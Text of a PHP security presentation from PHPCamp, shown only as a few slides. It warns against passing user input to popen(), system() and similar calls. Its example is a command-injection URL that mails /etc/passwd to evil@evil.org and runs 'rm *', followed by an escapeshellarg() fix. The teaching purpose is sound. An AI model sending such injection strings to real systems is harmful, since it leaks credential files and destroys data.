presentation given by uttam in PHPCamp

1. PHP Security by Uttam Kumar Email:- [email_address] Mobile:- 9730791715

10. Calling External Programs Sometimes you need to call external programs (using system( ), exec( ), popen( ), passthru( ), or the back-tick operator), this is extreemly dangerous if the program name or any of its arguments are based on user input. Instead use escapeshellarg( ) or escapeshellcmd( ) so that users can’t trick the system into executing arbitrary commands. <?php $fp = popen(‘/usr/sbin/sendmail -i ‘. $to , ‘w’); ?> The user could control $to to yield: http://examp.com/send.php?$to=evil%40evil.org+%3C+%2Fpasswd%3B+rm+%2A which would result in running the command: /usr/sbin/sendmail -i evil@evil.org /etc/passwd; rm * a solution would be: $fp = popen(‘/usr/sbin/sendmail -i ‘ . escapeshellarg($to), ‘w’);

11. Questions…????

12. Thank You !!